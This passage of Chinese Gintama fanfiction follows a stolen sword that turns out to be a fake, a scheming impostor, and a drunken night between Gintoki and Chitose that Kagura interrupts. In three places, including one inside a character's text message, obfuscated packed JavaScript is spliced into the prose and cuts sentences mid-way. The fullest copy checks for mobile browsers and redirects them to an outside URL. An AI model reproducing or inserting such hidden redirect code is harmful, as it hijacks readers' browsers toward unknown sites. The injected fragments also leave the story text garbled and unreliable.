万事屋很久没接到这麽大一宗生意,银时立刻充满干劲,一把从神乐手里抢过信封,开始数起里面的金额。 被晾在一旁的顾客无奈地对视了一眼。 「喂,你这样真的没问题吗?」陆奥看着千茶。 千茶摇摇头,语气就像平常那麽淡然「这是很重要的东西不是吗?」 当事人都这样说了,陆奥也不好劝些什麽。 老实说,她也曾好奇千茶为什麽不一开始就把事情的来龙去脉告诉他们。以她对坂田银时和这两个孩子的了解,千茶根本就不用这些迂迴的方法来求助,他们只要听说这件事,就肯定不会袖手旁观。 当时千茶是怎样说的呢? :把小孩子拖进泥潭裏可不是我的作风。 也是。 在这个世道里,唯有无知的人,才能保持心灵的纯粹。 她走的不是正道,干的也全是禁忌。 万事屋替市民追踪丢失的个人资产,是一件正经的工作。 但万事屋若是帮黑市擂台的打手夺回她遗失的作案工具,那可就危险多了。 髒活还是让她自己来做吧。 陆奥见她心意已决,也不再劝告。现在她倒是更关心银时他们到底数完了没有。 不管什麽时候看都是一副穷酸相。 「所以,你们接不接这个工作?」陆奥问道,语气中带着一丝不耐烦。 「当然就…」 「银时!」一声响亮的叫喊盖过了银时的答复。 客厅众人纷纷朝玄关望去,多日未见的桂小太郎出现在他们面前。 「…是假发啊…」 「不是假发,是桂!」桂朝他喊完,这才注意到屋里除了万事屋的三人外,还坐着两个女孩子。 「是陆奥阁下和小千啊。」 陆奥朝他点头以示问候,千茶则问起他伤势的恢復情况,两人随即寒暄起来。 「喂喂喂,要聊天的话你们自己约去咖啡厅,别在别人家里闲聊,我这里可是正经在接生意的。」银时打断他们,刚接到新委託的他已经迫不及待想要出去大展身手。 「银时!我有很重要的事要告诉你!」 「哦,是吗?」银时漫不经心地说着,一边掏着鼻孔,明显对所谓的「重要的事」毫无兴趣。 「我找到那个袭击我的矮子牛若丸的下落了!」 38. 越是坦承的人说不定才是埋藏最深 自从桂小太郎被那位自称牛若丸的人击败之后,桂一派发散人手追踪这个伤害他们领袖的混账。连日下来,终于也算是有些头绪。 「最近,我的人发现那个假若丸的手下在巢鸭一家厨具店附近鬼鬼祟祟的,不知道想干什麽。」 又是厨具店,又是在巢鸭。 千茶心裏忽然涌现一股不妙的预感。 她转头看向陆奥,发现对方脸上也透露出相同的想法。 果不其然,她的预感很快就得到了证实。 「我赶到的时候,发现他们似乎想在那里偷东西,于是我就先下手为强,抢先把东西偷过来了!」桂得意地说着,同时从身后掏出一个细长的盒子,完全无视了在场各人脸上的黑线。 「说别人鬼鬼祟祟、不知道想干什麽,最可疑的人不就是你吗!」新八几乎是冲口而出「桂先生,你这可是犯罪啊!赶快给别人还回去,然后道歉吧!」 「犯罪?我可没有犯罪。」桂义正词严地说「我这可是在阻止那个混帐假若丸的阴谋!」 「不是,你刚才可不是这样说的。明明说是自己抢先把东西偷过…」 「我是在阻止犯罪!」桂无视新八的反驳,再次重申。 此时的神乐被盒子吸引,好奇地凑上前,一把从桂手中夺过盒子并打开。 她仔细打量着里面的东西,表情渐渐凝固,然后迟疑地望向银时。 「小银……这个……」神乐欲言又止,招手示意他们过来看一看。 连向来粗神经的神乐都如此动摇,盒子里的放着的,必定是不简单的东西。 银时和新八很快就达成了共识,也赶紧把脑袋凑过去。 脇差的长度、洁白的刀柄,搭配着以蓝色太空金属製成的精緻刀鞘。 这个… 银时眨了眨眼,反应过来后随即拿起刚被他随手扔在一旁的萤丸照片。 这不是一模一样吗?! 万事屋三人组的目光在照片与实物之间来回扫视,脑海中浮现出一样的念头: 到手的委託费要飞了。 接二连三的眼刀朝着桂的方向飞了过去。 「你们为什麽都是这样的反应?」桂小太郎困惑地看向狠狠瞪着他的三人,完全没意识到他手上的赃物,对他们来说是多大的打击。 对了,不如先把委託费收起来,说不定她们就会忘记这件事。 银时这麽想着,小心翼翼地伸手去摸放在大腿边的委託费,深怕太大的动作会引起对面的注意。 就在他手指刚碰到信封边角的那一刻,信封瞬间被人整个抽走了。 「总算找回来了。」陆奥站在银时面前,手中拿着那个装着委託费的厚信封。 早在神乐打开盒子时,陆奥就瞥见了盒子里放着的刀刃。 不论是刀柄还是刀鞘,材料和做工都是一等一的,是短时间内难以彷製的品质,因此她几乎能马上就能确认,这就是千茶遗失的萤丸。 虽然事情的发展有些出乎她的意料,但把刀找回来就好。 眼见坂田银时为首的三人组仍然目不转睛地盯着她手中的信封,陆奥便转身将它塞回千茶手里。 「把钱收好。」她说。 千茶原本想说没关係,但一对上陆奥的眼神,便乖乖地闭上了嘴。 桂隐约感受到万事屋对他的恶意又深了一点。 「这把刀是我寄放在那家店的,没想到前两天忽然就被人偷走了。刚才我还在想着找这些傢伙帮忙找呢。」陆奥解释着,来到神乐的面前,从长盒中提起整柄刀,细细打量起来。 「想不到竟然会在你这里,真是帮了大忙。」她一边说着,一边握住刀柄,将萤丸从刀鞘中抽出,目光落在刀身上,久久不移。 千茶远远望去,只见刀刃黯淡无光,全然不见昔日在她手中的神采。 她低头瞥了眼手中的信封,从里面抽出几张纸币,分别递给新八和神乐。 「对了,反正也没事了,你们能帮我跑个腿吗?我答应了小春今天回家时会买好晚餐的菜。但今天那麽冷,我实在不想走太远。」她说着,见两人面露犹豫,又加了一句「剩下的钱你们就留着买点零食吧。」 神乐和新八互相交换着眼神,他们隐约察觉到千茶是故意想把他们支开。 说是让他们帮忙,但言下之意就是:大人要说话了,小孩子躲一边去。 银时平常也不会对他们隐瞒任何委託,但这次却没有把他们留下。 「去吧,回来的时候顺便给我带点布丁。」他说,像是在附和着千茶的意思。 既然老闆都发话了,他们虽然心里有些莫名的不安,但也没再犹豫,乖巧地接过千茶递来的钞票,顺便问了她需要的食材。 待木梯上的脚步声渐渐消失,确认神乐和新八已经离开,千茶这才起身走到陆奥身边,从她手中接过萤丸。 千茶把萤丸拿在手中,儘管许久未曾出鞘,她还是立刻察觉到异样。不仅剑身的镀层有问题,就连握在手中的重量与平衡点都与记忆中完全不同。 「啊……彷得还真噁心。」千茶皱着眉,厌恶地说道,彷彿一刻也不想多看,急忙将它塞回刀鞘里。 然而陆奥的看法却与她大不相同。 「有一说一,这个彷製品虽然选材上并没花多少心思,但工艺水平并不低。」陆奥若有所思地说,手指轻轻敲打着刀鞘。 「要是能找到製造这把刀的工匠,说不定就能查出背后搞鬼的人。」 听到「彷製品」三个字,银时和桂虽然心中已经有了几分猜测,但还是决定向她们问个明白。 「你们还在打什麽哑谜?小孩都被打发走了,该是时候跟我们解释清楚,这是怎麽一回事了吧?」银时皱着眉,显然对她们的自顾自说有些不耐烦。 「这把刀的刀柄和刀鞘确实是我们要找的东西,但刀身却并非萤丸。真正的萤丸恐怕已经被那个假若丸给掉包了。」陆奥说完,转头看向千茶「至于其馀的事,你自己考虑要不要告诉他们吧。」 视线聚焦在千茶身上,她轻轻叹了口气。 虽然她不愿让无关的人牵涉太深,但眼下事态已经波及到攘夷志士,她还是决定把目前能透露的事情都说出来。 「萤丸是那个牛若丸生前爱刀。我和小陆跟他也算是有些交情,所以在他过世后,就一直替他保管着这把刀。」 听过她的说法,银时心中的疑惑顿时有了答案。 就像他当初估计的,千茶果然一直隐瞒着什麽。 既然能把爱刀託付,那个牛若丸和她的关係相信也不浅。 「既然你认识这个人,爲什麽那时候要装作什麽都不知道?」 他指的明显就是桂在她养伤时那次。 「每个人都有些不愿提起的往事,不是吗?」千茶半垂着眼眸,语气淡淡的。 无法反驳。 记得在刚认识神乐和新八的时候。银时也不喜欢在他们说起往事。 有些过去实在太过沉重,即使轻轻触碰也会让人感到旧伤復发。 如果他是个没心没肺的人,大可毫无顾忌地向她打听一切,但正因为他也有过那些经历,所以他比谁都清楚,有些地方是不能随便触及的。 更何况她是喜欢跟人保留一定距离感的人。 若是他追问得太急,她肯定会立刻逃得远远的,再也不愿回来。 千茶没有在那个话题上多作停留,转而与他们分析起那个假冒者的阴谋。 「先是挑衅小太郎先生,再偷我们的刀,然后找机会让小太郎先生找到那把假刀……」 「这是个圈套。」陆奥断言「按理说,他们应该不知道我们之间互相认识。这样做,多半是把我们当成牛若丸留下来的党羽,想让我们和攘夷志士自相残杀。」 「真麻烦啊…」银时抓了抓头发,看向千茶和陆奥「那麽,你们打算怎麽办?那个假冒者肯定还会有下一步动作吧。」 陆奥身为夜兔,身手也是无可挑剔,就算遇上什麽麻烦,大概都能应付自如。 问题是千茶,她看着就身板单薄,要是遇上什麽双方对峙举刀相向的情况,他还真有点担心她的安危。 然而,本人脸上却没有丝毫胆怯,只是再次把装着委託费的信封递给银时。 「看来这一笔还是得花呢。」 连语气也是平常一样轻飘飘的。 银时盯着信封看了良久,最后还是一手接过,然后收在衣襟里。 这天的谈话在他们釐清时间线后告一段落。 桂稍后要和攘夷志士召开例会,准备继续派人四处打听消息。陆奥则打算去寻找她以前当海盗时认识的地下人脉聊聊。 「你不和她一起走吗?」银时看着仍然赖在自己沙发上的女孩子。 千茶摇摇头「我在等新八和神乐回来。」 话音刚落,手机便传来信息提示,她掏出手机查看。 【最近都没有收到你的短信让人有点寂寞呢(?;ω;`) 你是准备復出了吗?那麽张扬的话,我们这边会很难做的。 要是有什麽行动的话先和我说一声,我会好好帮小千做掩护的? 期待收到你的回信~】 看来攘夷志士和警察部门的消息都相当同步呢。 不过,这个讯息还真是来得正好。 千茶在键盘上敲打着文字,检查了一遍发现没有别的问题,便发送了出去。 【不是我!!警察先生我想报案(?;ω;`) 有人在冒认我还偷了我的爱刀(哭) 我现在也在找那个混蛋的下落! 要是小三郎找到冒认我的人,请替我把他抓起来!! 拜託你了?】 邮件刚发送出去,不到半分钟,手机就又响了起来,是另一边的回复。 【了解(*/ω\*) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他的好奇心驱使他想继续追问,可是看见她不愿细说的模样,最终还是把问题吞了回去。 「喂,都认识这麽久了,你还这麽戒备,要是被人看见的话,说不定会以为我对你做过什麽坏事呢。」他用惯常那种漫不经心的语气说道,像在打趣她。 千茶知道他是在用自己的方式缓和气氛,脸上的表情也放松了一些。 「我可是全心全意信任银时先生的,不然也不会每次都来委託你啊。」她说。 「我不是在说这个。」 「那麽你在说哪个?」 在说,她总是用委託费把他们之间的关係划得清清楚楚。 明明他们曾经感受过肌肤相贴的亲密,却又让人觉得距离无限远。 银时没有回答她,站了起来,走到窗边,静静望着窗外人来人往的街道,却心不在焉。 一股难以名状的情绪悄然在心底蔓延,银时说不清哪里不对劲,却感觉到某处正在动摇。 他从来就不是个善于维繫亲密关係的人,适当的距离感或许才是他与人相处的最佳方式。 可是,当被谁刻意划清界线时,心里还是会泛起一丝莫名的失落。 就在这份沉默快要掩盖整片空间之际,神乐和新八脚步声响起,随着两声重叠的「我回来了。」 神乐抱着一大袋点心,一边往嘴里塞着丸子,一边含糊不清地说着话。新八跟在她身后,手里提着千茶交代要买的食材。 「陆奥小姐和桂先生他们回去了吗?」新八看了看四周,却不见两人的身影。 「嗯,他们接下来还有别的安排,所以就先回去了。」 新八点点头,从口袋拿出找续的零钱,来到千茶面前「茶茶小姐,我们买完零食后还有点剩下的…」 「啊,没关係,你们留着当零花钱吧。」 「可是…」新八有些犹豫。 「她让你收下你就收下吧。」银时说「有钱人家的少爷小姐最爱用钱打发人了。」 就连他自己也没料到会说出这麽尖锐的话。 千茶轻轻瞥了他一眼,彷彿没听见似的,转而查看新八放在桌上的晚餐材料。 就算是不清楚事情来龙去脉的小孩子,也看得出这两人是闹矛盾了。 又或者更准确地说,银时在闹脾气。 「东西都买得很对呢。谢谢你们。」千茶说着,提起了她的东西。 「那麽我也该回去了,下次再见吧。」 新八和神乐陪着千茶走到玄关,目送她的背影消失在门后。 他们回到客厅,银时正坐在沙发上,目光停留在千茶方才坐过的位置,一言不发。 「小银,你和茶茶姐姐吵架了吗?」 「没有。」银时回答得不带半分犹豫。 「那麽你爲什麽一副寂寞的表情?」 39. 美梦也好,恶梦也罢 在震耳欲聋的喝采与叫骂声中,千茶勉强睁开眼睛,刺眼的射灯让她无法看清面前的人。 或者该说,那人的脸孔如走马灯般流转变换。 「小千,为什么妳不是男孩呢?」 母亲的问句在耳边回荡,即使在喧嚣的环境中依然刺耳。那个与她有几分相似的女人在眼前逐渐衰老、虚弱,最后化作另一个人。 「小千,爸爸妈妈都是为了妳好,为什么妳就不能理解我们的苦心……」 父亲的声线让她陌生,但那种窒息感,却是和记忆中如出一辙。 她想和他争论,却发现嘴巴彷佛被缝住了般,完全无法张开。 就在此时,她眼前的人脸孔又如同万花筒般变换。 「女孩子整天弄那些刀刀剑剑,花多点时间在新娘修行上不好吗?」 「你这种性格要是将来嫁人了,夫家那边不会喜欢的。」 「真不愧是浅井家最优秀的商品。」 嘲讽、批评、期待。 这些声音在她脑海里此起彼落,编织成一张无形的网,试图将她困住。她紧握着一把剔骨刀,划破那层束缚,刀锋指向面前那人的喉咙。 「就是这样!你可是本大爷的徒弟,想干什么就干什么,管他们怎么想!有我替你撑腰,你尽管放开手去干!」 男人的笑声一如既往地带着不拘小节的豪迈,驱散了她心头的郁闷,伸得笔直的手臂也缓缓下沈。 但就在她松懈的瞬间,手里的利刃却彷佛被无形的力量操控,带着她的手直直刺入男人的心脏。 温热的鲜血瞬间涌出,沾满了她的双手。 鲜红的液体深深刻入她掌心的每条纹路,她丢掉手里的凶器,用衣?疯狂地擦拭双手,但那片红色却开始蔓延,掌心、手背、前臂… 她猛然从恶梦中惊醒,大口喘着气。冷汗早已浸透了后背,急促吸入的冷空气更让气管一阵刺痛。 类似的恶梦这两年来并非首次,每当她以为自己已经挺过去时,总会有这样的一个夜晚来打破她的认知。 她撑着身子坐起来,随手撩起长发,额头和颈脖上都是一层薄薄的汗水。 时钟此时指向十二,她深知自己难以再次入睡,便起来抓起毛巾和换洗衣物走进浴室。 至少洗个澡能让身上舒服一些。 温水从头顶洒落,冲去身上的黏腻。她将额头抵在冰凉的瓷砖上,任由水流沿着背脊而下。 她死死盯着自己的双手,刚才的梦境彷佛还留着残影。总觉得手上沾着的不是流水,而是谁的血液。 一股?心的黏腻感顿时涌上心头。 她向来讨厌夜晚,尤其深夜里头脑仍能保持清醒的感觉。 还是喝一杯吧。 她擦干身体,从镜中看见后背的伤疤渐渐愈合,她轻轻涂上祛疤的药膏。她手里的存货剩得不多,看来还得找机会再去吉原一趟。 药膏干透后,她换上干净的衣服,步出浴室。 她走到厨房,拿出一瓶剩下一半的日本酒,给自己倒了一杯。 然而一杯闷下去,并无半点酒意。 看来得找春好好谈谈,让他别再往酒里掺水了。 她挣扎了一阵,最终还是把头发吹干,披上一件厚实的羽织。 住在歌舞伎町附近最大的好处就是随时能找到喝酒的地方。 由于工作的缘故,她并不常在外喝酒,平时不是在店里喝到尽兴才离开,就是回家小酌那些较淡的酒。 但今天她想来点烈的。 她踏进一间平凡的小酒馆,正要走到吧桌前,却看见那里坐着一个眼熟的银色卷毛。 他独自一人喝着闷酒,面前只摆了一瓶清酒,连下酒菜都没点。 明明她前不久才给了他一大笔委托费。 就在她犹豫着要不要转去别家时,就刚好与他的目光对上了。 酒馆老板正要上前接待,注意到他们的视线,立刻反应过来。 「啊啦,这位客人是万事屋老板的朋友吗?」 也许是有点酒意上头了,银时只是瞥了她一眼,便擡头看向老板, 「姑且是认识的人吧。」 坂田银时在和她闹别扭。 她上一次在万事屋的时候便察觉到了。 原因其实倒也不难猜。 在公,她平常委托万事屋的都是些无关痛痒的小事,不是让他帮忙带孩子,就是搬家、跑腿、送快递。至于报酬一向都是给得很足,所以肯定不是工作上的问题。 那就在私了。 她从未否认,打从一开始,她就是刻意接近这个人。 全因坂本辰马那句「小千你和金时一定能好好相处的」。 坂田银时。 是哥哥在家书中提到的,那个战无不胜的白夜叉;是坂本辰马愿意将后背托付的生死之交,更是那个人口中,即使会玷污自己的灵魂,也能鼓起勇气,做出痛苦抉择的人。 不管是哪个版本的他,听起来都像个盖世英雄。 所以,她想亲眼见识这位所谓的英雄究竟是什么模样。 于是,在众多地区之中,她选择了在歌舞伎町落脚。 然而传说总会在亲眼见证后彻底破灭,就连大名鼎鼎的白夜叉也不例外。 用着万事屋老板的名号掩饰无业游民的身分,每天最热衷的不过是拿到委托费就去打小钢珠,晚上还得喝得醉醺醺才回家;血糖高却很听医嘱,芭菲一周只吃一次,但其他甜食倒是从不节制。 房租总爱拖着,却愿意收留一个食量惊人的陌生女孩和大狗;经常满嘴荤话,可真要面对那种场合,反倒摆出一副正人君子的模样。 与其说是盖世英雄,不如说是个在乱世中浮浮沉沈挣扎着的烂好人,有着再平凡不过的恶习,在危难时刻却能展现出高尚的品格。 也许正是因为如此,才会有那么多人被他吸引,由最初的好奇,到渐渐的习惯、依赖。 对于从小自立的千茶来说,她自是不习惯这种凡事有人兜底的感觉。即使银时多次暗示她不必每次都要正式地「委托」万事屋,她依然坚持着以这个方式和他来往。 这大概是其一,至于其二…… 大概就是她那些让人搞不清意图的暧昧举动。 究竟是单纯觉得好玩,还是想找个人取暖,她也说不清楚,或许两者都有一些吧。 又或许,她也和其他人一样,不知不觉间被他的魅力所吸引。 但这份短暂的吸引,并不能称作真正的喜欢。 后来她也想,若是能一直这样打打闹闹,顺其自然地相处下去也挺好的。 只可惜,他原来是猿飞菖蒲喜欢的人。 就算自诩恶役,她也无法毫无顾忌地对朋友喜欢的人出手,就算只是场单相思。 为了一个可有可无的男人而让朋友伤心,这种事她做不来。 她更喜欢那个恋慕着银时、朝气勃勃的菖蒲。 所以要是能避免的话,她宁愿选择退后一步。 反正她也并非这个人不可。 银时想必也对她这份态度感到困惑吧。 从最初的主动亲近,到后来变得若即若离,甚至一步步地退后,毫无原因地被她单方面的划清界线。 「要是认识的话,你们一起坐可以吗?等下有几个熟客会过来续摊。」 老板问着,而银时此刻却一言不发,低头喝着自己的酒。千茶点点头,最后还是在他旁边坐下来。 「这位客人今天想喝点什么?」 「今天想来点烈的,有什么推荐吗?」 老板打量了她一眼,从架上取下一瓶酒。 「这瓶如何?」 「好,要冰的。」她说着,又抬头看着上方的餐牌「再来点下酒菜……烤鱿鱼就不错。」 老板熟练地将酒液倒进玻璃杯中,冰块撞击杯壁发出清脆的声响。他随后侧身去厨房准备她点的小菜,留下两人独处的空间格外宁静。 「那么烈的酒,喝醉的话,我可不会送你回去。」他说。 「我可是卖酒的,这种程度怎么会醉倒。」 千茶低头啜了一口,冰凉的酒液流过喉咙,一股灼烧感顺延到胃里。 放下酒杯时,她看见银时已把头转向另一边。 在酒馆昏暗的灯光下,她虽然看不清他的表情,但她知道他还在生气,气她的划清界线,气她的处处隐瞒。 明明他自己也是个喜欢跟人保持距离的人,现在有什么立场生她的气。 千茶瞥了他一眼,什么都没说,继续低头喝酒。 「老板,我要再来一瓶!」银时朝后厨大喊。 他向来偏爱日本酒胜过洋酒。 老板将一瓶刚温好的清酒放在他面前,顺道端上千茶的烤鱿鱼。银时一把抓过酒瓶往杯里倒,动作显得有些毛毛躁躁。 「你要来点吗?」千茶问,指的是她面前的下酒菜。 银时没理会她,于是她夹起一块鱿鱼递到他嘴边。 「来嘛。」 银时瞥了她一眼,有些不情愿地张开嘴巴,接过那块烤鱿鱼。 「好吃吗?」她观察着他的反应问道。银时只轻哼一声作为回应。 「那就一起吃吧。」千茶说着,将盘子往他那边推了推。 两人静静地吃着烤鱿鱼,各自喝着酒,直到碟子只剩下酱汁。千茶又点了一碟,顺便添了杯酒。 酒过三巡,千茶手肘撑在吧台上,目光涣散地注视着杯中的冰块。 老板前去照顾包厢的熟客,吧台前此刻只剩下他们两人。 「今天休假吗?」他随口问道。 「嗯,免费酒喝不成,就只能自己出来付钱喝了。」 千茶说着,转了转手中的玻璃杯,冰块碰撞发出清脆的声响。 他大概是酒意上头,又或许是见她逐渐向自己释出善意,他也不再强撑,渐渐褪去了最初的冷淡。 他学着她的姿势,撑着脑袋凝视着她「这么晚还一个人来喝闷酒,是有什么心事吗,这位客人?」 「睡不着罢了。」她轻描淡写地说,却刻意回避他的视线。 恶梦的余韵还残留在她的脑海里,连酒精都无法完全驱散。 尤其此刻,外面还有个冒牌货顶着她的名字四处招摇。 银时凝视着千茶的侧脸,捕捉到她眼里一闪而过的恐惧和脆弱。 深夜时分、随意的打扮、沉默不语地独自喝酒。 「发恶梦了吗?」他像是脱口而出一样。 千茶也抬起头看着他「那么,银时先生也是因为发恶梦才在这里吗?」 她总是这么狡猾,总会逃避他的问题,还喜欢把问题反问回来 他没有回答,只是轻轻偏了偏头。 有些人习惯用酒精来麻痺那些不愿面对的回忆。 就像她…又或该说,他们。 「恶梦到底会做到什么时候?」她没头没脑地来了一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她只是觉得,要是坂田银时的话,也许就能理解这种感觉。 所以才会一次又一次地试探,为了确认自己的猜测。 她甚至无法确定,自己究竟是渴望被他理解而想靠近,还是只是在他身上看见了自己的影子。 明明是为了不想受伤才摆出一副玩世不恭的模样,可当她看见他此刻的表情时,心里某处却隐隐发痒。 一股内疚感在心底滋生,却又伴随着一种难以言喻的兴奋。 「没什么。」 他转过身去,继续往前走,脚步比刚才更快。千茶看着他的背影,却始终无法追上前去。 直到看见他忽然停在路中央,然后蹲了下来。 千茶连忙快步上前,伸手扶住他的手臂。 「你还好吗?」她问道,语气中透着担忧。 银时只是轻轻摇了摇头,却依然蹲在原地。 「脑袋好晕。」他说 千茶环顾四周,街上一个人影也没有,只有他们俩。 「我送你回去吧。」 她说着便扶住他,把他的手搭在自己肩上。 他顺从地靠在她身上,沉重的身躯让千茶微微踉跄。 「你好重,自己用点力。」 银时闷闷地应了一声,勉强调整了姿势,让自己不至于把全身重量都压在她身上。 先说明,她纯粹是出于好心,把喝醉的朋友送回家而已,她可没有什么坏心思。 至于接下来会发生什么事,都与她毫无关系。 可不能记恨上她。 走到万事屋门前时,他还嚷嚷着要把她先送回家,但最后还是被她半扶半拉地带上了楼梯。 千茶扶着他进屋,靠着窗外的灯火看清了房间。室内漆黑一片。她正要伸手开灯,肩上的重量却忽然加重了。 她一个重心不稳,想着把他往床塌上一扔,好挣脱他的重量,银时却在此时搂住了她的腰,将她整个人扣在怀里。 在黑暗中,她清晰地听见他沉重的呼吸声在耳边回荡,伴随着令人酥麻的吐息。 「千茶。」他低声念着她的名字,声音里带着几分醉意与沙哑。 认识这么久以来,她还是第一次听他好好地喊出她的名字。 千茶的心跳漏了一拍,静默片刻后才轻声回应「嗯。」 沉默良久,她才再次开口。 「再喊一次。」 「千茶。」 「我给机会你过离开的。」 对。 在酒馆、在大街、在楼梯,甚至在玄关。 她明明可以随时扔下他就转身就走。 但每一次,她都选择留下来,一路陪着他走到房间。 「狡猾的女人。」 说完,他的手掌探进她的发间,随即低下头来,猛地贴上她的唇。 一点也称不上温柔,至于是因为酒劲,还是被她逼急了,也是无从得知。 她被他抵在墙上,本能地回应着。 平常教材虽然看得挺多的,但实际操作上,仍然有些生涩。 「真蹩脚。」他轻笑着,拉住她的手,一同倒向身后的床铺。 千茶向来一时个气性重的,她揪住他的衣领,狠狠的咬住他的下唇,直至尝到了血的腥甜。 40. 抱团取暖是群居动物的天性 深冬的寒风从门窗缝隙悄悄涌入,对经济拮据的万事屋来说,暖气实在太过奢侈了,至于暖桌,并不适合放在摊开床铺的房间里。 「好冷。」 「是吗?那我告诉你一个取暖的好方法。」他沉着声线,有如就像蛊惑人的魔咒般,在她耳绊间统绕。 温热的气息拂过耳尖,搔痒的感觉让人躁动难耐。 这大概就是近藤勋一直挂在嘴边的蠢蠢欲动。 感官被酒精给放大,想要被触碰的冲动也越发难以压抑。 千茶轻轻侧过头,试图躲开那让人陌生的心痒感。 就在她撇过脸的瞬间,嘴唇又再次被贴上。正要说出口的嘲讽,全数淹没在唇齿之间。 她再次尝到他唇上伤口的腥甜,或许是想对她报复,他的力道也加重了几分。 以初吻来说,这确实有些激烈了,但她并不讨厌这种被强烈渴求的感觉。 她闭上双眼,让其他感官在视觉关闭后变得更加敏锐。 她的经验不多,难以比较,但她还是稳稳地缠着他的脖子,隔着冬天的厚布料与他紧贴。 就这样下去,也挺好的。 腿侧忽然感受到一阵热源,这次不再隔着衣料。 他说有一个取暖的好办法,看来他所谓的取暖方法就是这般原始。 怕冷的千茶本能地紧紧依偎着热源,无暇他顾。 酒精并非使人失去理智,而是唤醒深处被压抑的本能和渴求,让人回归最原始的状态。 然后在拉扯与挣扎之间,人们会不自觉地步步逼近那个临界点。 到了那个时候,是谁先做的主动,已经不再重要。 毕竟一个巴掌可是拍不响的。 只要再向前一步,就会走火。 这一章也会过不了审。 不过,所有的担忧都是多余的,因为就算真的要走火,家里还有个活生生的保险丝。 「小银,是你回来了吗?」 少女黏黏糊糊的声音逐渐节近,瞬间把床榻上的人吓得浑身一颤。 意识瞬间回笼,千茶猛地推开银时,他的后脑重重撞上身后的柜子,痛得抱着脑袋在地上打滚。 她下意识地用手袖擦起嘴唇,然后一股劲整理被他弄乱的衣服。 所幸她半夜出门穿的是平日居家的男式和服,整理起来倒也不难。 神乐是被天花的老鼠吵醒的。 老鼠在歌舞伎町并不是什么罕见的动物,她本来也没打算理会,但那些老鼠就像是和她过不去一样,一直吱吱喳喳地叫个不停,直到她烦躁地坐了起来。就在此时,老鼠的声音突然停了下来,取而代之的是银时房里传来的细微声响。 他平常喝酒回来总是大声嚷嚷,这反常的安静反倒让神乐隐约有些不安。 他们万事屋该不会是被巨型老鼠入侵了吧?小银喝了那么多酒,不会被巨型老鼠吃掉吧? 神乐一鼓作气拉开纸门,只见银时抱着脑袋在地上哼哼唧唧,而千茶半跪在他面前,带着歉意地想要伸手查看他头上的伤势。 「茶茶姐姐?」神乐看清面前的人后,试探地问道。 「小乐你醒了啊,抱歉吵到你了。」千茶转过头,说话时依旧是那般轻声细语。 幸好不是巨型老鼠,神乐也是松了一口气。 「原来真是茶茶姐姐啊。亏我还以为是巨型老鼠呢?」 「巨型老鼠?」 「刚才一直有老鼠在天花板上吱吱喳喳地叫,等我醒来后就听见小银房间有奇怪声音,所以就过来看看了。」 千茶顺着她的话抬头盯着天花,忽然想起什么。 这么说来,也许是真的有一只很巨型的老鼠在上面待着呢。 「说起来,都这个时间了,茶茶姐姐妳那为什么会在小银的房间?」 被她问起,千茶指着地上的银时,脸不红心不跳地回答「我刚才在外面遇到银时先生,他喝得挺醉的,就送他回来了。不过刚才不小心把他的头撞到柜子上了。」 房间里没开灯,看起来确实是刚回来不久。 神乐和他一起住了那么久,也知道银时这个人一向古里古怪的,更莫说是喝醉以后,更是个难缠的,要不然他们以前也不会大费铺张骗他戒酒。 她并没有察觉什么异样,更是在千茶说过因由后,上前踢了他几脚。 「真是的,都一把年纪了,还整天给人惹麻烦。」 狠狠地教训过他后,神乐不好意思地看向千茶「抱歉呢,茶茶姐姐,给你添麻烦了。等小银醒来之后我会好好教育他的!」 明明是个小女孩,说这话时却是这副母亲一般的姿态。 「没关系的。」千茶轻轻摇头,伸出手一边抚顺神乐睡乱的头发「银时先生也是看我心情不好,才会陪我喝酒,这才一不小心喝多了。这件事上,我也有责任。」 她也是个成年人,这种贪一时之快并发展成你情我愿的来往,她也不好全推在他身上。 既然她都这样说了,神乐也没再声讨银时,她揉着眼睛,转头看向时钟,指针已快逼近四点。 「这么晚了,茶茶姐姐你要一个人回去吗?」 「嗯,没关系,这边离我家也不远。」千茶说,低头瞥了一眼地上还在夸张地装痛呻吟的银时。 见他没有起来的意思,也没打算拆穿。 「那我先回去了,你们也早点休息。」 见她也都这样说了,神乐也只是点点头,然后送着她出门。 等到千茶离开,神乐又拐回来踢了银时几脚,这才回到她的壁橱去。 少了一个人的卧室,温度开始急速下降,最终恢复到原来的冰冷。银时躺在榻榻米上,揉了揉发疼的后脑勺。 冲动被制止了,但脑袋依然昏昏沉沉。 他决定合上眼睛,什么都不去管。 至于千茶,她最后还是一个人回到这条灯红火绿的街道。 说实话,她也有些庆幸神乐的及时出现。 她自问并不是那种拒绝婚前亲密接触的保守派,而与坂田银时之间的亲近,她确实也不讨厌。 人们总说,身体上的一些交流是拉近心灵距离的捷径,可若发生在逃避过去的意乱情迷下,那就有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940223|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变味了。 真要做这种事,至少该在他们都专心一意、只想着对方的前提下,而非还为着多年的梦魇借酒消愁时。 这一来,她还得谢谢那只巨型老鼠了。 千茶走到一部售卖机前停下,然后按了一罐啤酒。冰凉的罐身让她的意识变得更加清醒。 她又接着按下了第二罐。 她一手拿着一罐啤酒,然后走到旁边的大树下,往上面抛了一罐上去。 罐子着地的声音却久久没有传来。 「下来陪我喝一杯吧?」千茶仰着头,朝着黑压压的树荫喊道说。 